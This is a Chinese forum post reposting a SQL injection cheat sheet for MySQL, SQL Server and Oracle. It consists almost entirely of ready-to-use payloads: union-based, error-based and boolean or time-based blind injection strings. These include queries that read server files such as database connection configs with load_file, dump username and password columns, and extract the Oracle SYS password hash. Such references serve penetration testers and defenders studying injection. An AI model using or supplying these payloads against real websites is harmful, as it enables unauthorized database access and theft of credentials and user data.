本帖最后由 Martini 于 2020-12-1 20:29 编辑
原文链接:SQL注入速查笔记
SQL 注入分类方式:
- 提交方式:GET POST COOKIE
- 参数注入:数字型/字符型/搜索型
- 数据库类型:ACCESS/Mysql/MSSQL/Oracle
- 手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)
复制代码 0x01 Mysql Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0
1.1 root权限 load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径 判断是否具有读写权限
- and (select count(*) from mysql.user)>0#
- and (select count(file_priv) from mysql.user)>#
复制代码A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件 注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”
- id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)
复制代码可以用来读取数据库连接文件获取数据连接账号、密码等 1.先判断是否可以注入 and+1=1,页面正常 and+1=2,页面空白2.获得字段数:使用order by提交: ?id=1 order by 4 正确。 ?id=1 order by 5 错误。 那么,判断出字段数为4。3.获得显示位
提交:?id=1 +and+1=2+union+select+1,2,3,4显示位为:2,3,44.获取信息 ?id=1 +and+1=2+union+select+1,2,3,version()
database() user() version() database() @@basedir 数据库安装路径 @@datadir 数据库路径5.查表?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--得到表:test
6.查字段 ?id=1 and 1=2 union select 1,2,3,column_name from information_schema.columns where table_name=0x74657374 limit 0,1-- 得到字段:id,username,password7.爆字段内容 ?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test
1.3 MySQL报错注入mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。 多种报错注入方式:
- and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
- and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
- and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
- and 1=(updatexml(1,concat(0x3a,(select user())),1))
- and GeometryCollection((select*from(select*from(select @@version)f)x))
- and polygon((select*from(select name_const(version(),1))x))
- and linestring((select * from(select * from(select user())a)b))
- and multilinestring((select * from(select * from(select version())a)b));
- and multipoint((select * from(select * from(select user())a)b));
- and multipolygon((select * from(select * from(select user())a)b));
- and exp(~(select * from(select version())a));
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1.4 MySQL盲注基于布尔型注入
- id=1 and (select length(user()))=20 # 返回正常页面 长度20位
- id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97
- //截取username第一个数据的ascii值
复制代码 基于时间型注入
- 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
- 1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')
复制代码 0x02 SQLServer
SA权限:数据库操作,文件管理,命令执行,注册表读取等
Db权限:文件管理,数据库操作等 Public权限:数据库操作 2.1 SQLServer 联合查询
1.判断是否存在注入 ?id=1 and 1=1-- 返回正确 ?id=1 and 1=2-- 返回错误
2.获取字段数 ?id=1 order by 2-- 返回正确页面 ?id=1 order by 3-- 返回错误页面 字段长度为2
3.查看数据库版本 ?id=1 and 1=2 union select db_name(),null //获得当前数据库
4.查看表名 ?id=1 and 1=2 union select top 1 TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')
5.查看列名 ?id=1 and 1=2 union select top 1 column_name ,2 from information_schema.columns where table_name ='users' and column_name not in ('uname')
6.获取数据 ?id=1 and 1=2 union select top 1 uname,null from users 2.2 SQLServer 报错注入
1.获取表名?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )--2.获取列名?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --
3.获取数据?id=4' and 1=(select top 1 pwd from admin) --
4.获取数据库信息?id=1' and 1=(select @@version)-- //SQL Server 2000?id=1' and 1=(select db_name()) //当前使用的数据库2.3 SQLServer 盲注
- 1、猜表名
- ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7
- ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码
- ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
- 得到表名,进一步猜解字段
- 2、猜字段
- id=1 and
- (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
- //获取users表第一个字段的ASCII值
- id=1 and
- (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 --
- //获取user表第二个字段的第一位ASCII值
- 3、猜数据
- id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --
- //获取users表中uname字段的第一位ASCII值
复制代码0x03 Oracle
3.1 联合查询
- Union select null,null,null 从第一个null开始加’null’,得到显示位
- Union select null,null,null from dual 返回正确,存在dual表
- Union Select tablespace_name from user_tablespaces //查库
- Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表
- Union Select column_name from user_tab_columns where table_name=’users’ //查列
- ?id=1 order by 1-- //获取字段数
- and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//获取数据库版本
- and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名
- union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
- union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
- and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名
复制代码 3.2 手工显错注入
- 最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限
- //判断是否是oracle
- ?id=1 and exists(select * from dual)--
- //获取库名
- ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—-
- //获取数据库服务器所在ip
- ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))--
- ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')--
- ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
- ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
- ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
复制代码3.3 盲注 基于布尔类型的盲注:
- ?id=7782' and length((SELECT name FROM v$database))=4-- 获取数据库名长度
- ?id=7782' and ascii(substr((SELECT name FROM v$database),1,1))=79--
- 获取数据库名第一位为O
复制代码 基于时间延迟的盲注:
- ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)--
- ?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--
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